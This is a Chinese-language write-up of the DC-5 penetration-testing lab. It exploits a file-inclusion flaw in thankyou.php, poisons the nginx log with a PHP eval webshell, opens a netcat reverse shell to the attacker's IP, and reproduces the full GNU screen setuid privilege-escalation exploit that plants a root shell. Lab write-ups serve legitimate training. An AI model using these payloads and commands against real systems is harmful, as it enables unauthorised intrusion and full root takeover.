靶機簡介
DC-5是另一個專門建造的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。據我所知,隻有一個可以利用的入口點
(也沒有SSH)
。這個特定的入口點可能很難識别,但它确實存在。
你需要尋找一些不尋常的東西(一些随着頁面的重新整理而改變的東西)。
這将有望為漏洞可能涉及的問題提供一些思路。這個挑戰的最終目标是獲得根并閱讀唯一的旗幟。
getshell
提示我們要重新整理頁面,有的東西要重新整理頁面而随之改變,通過這個線索找到了thankyou.php重新整理頁面會更新頁腳
有時候是2017,有時候2018有時候2019
而後又通過目錄掃描發現了footer.php
那麼可以推測的是,thankphp通過檔案包含包含了footer.php。但不知道寫沒有寫死,如果沒寫死的話,這裡就存在檔案包含漏洞。
而事實證明是沒有寫死的
通過檔案包含讀取
/etc/passwd
發現存在Mysql,那可以讀一讀mysql的配置檔案
什麼消息都沒有得到。用nmap探測以下中間件
通過包含nginx日志getshell,nginx在linux下的預設路徑
/var/log/nginx/
,先thankyou.php中file參數輸入一句話。
thankyou.php?file=<?php @eval($_POST[dimp]);?>
而這句話會引起報錯thankyou.php報錯,,這個時候再去包含error.log,即可成功getshell
注意,之前一直在中間一句話中間加參數,即
file=<?php+eval($_POST[dimp]);?>
但是一直連接配接失敗,後來把加号去掉就好了,可能因為寫入日志的時候并沒有轉義加号。
提權
先反彈shell,由于目标環境存在nc,直接nc反彈
nc -e /bin/bash 192.168.43.201 4444
系統資訊收集
uname -a
cat /etc/*release
但是并沒有找到合适的提權漏洞
檢視suid權限
然後一個一個百度搜有沒有什麼提權辦法,當我搜到screen提權時。。
好的我知道了,
架設一個伺服器,采用
wget的方式下載下傳poc到靶機上
(我傻了,用蟻劍上傳不就行了)
但是卻發現無法運作
檢視這個.sh檔案
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!
");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
發現它就是編譯了兩個c檔案,然後運作。那麼我們直接編譯好在上傳到靶機中運作即可。先建立libhax.c和rootshell.c,然後根據上面這個exp的指令編譯
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
然後将兩個生成的檔案通過蟻劍上傳到靶機,然後根據exp輸入指令一步一步走就行了
檢視最終flag
總結
1.不看wp,真的很難發現有個檔案包含
2.有檔案包含後,根據中間件讀取日志
3.nginx包含日志檔案getshell
4.suid提權,把每個suid權限挨個百度搜,看有沒有辦法提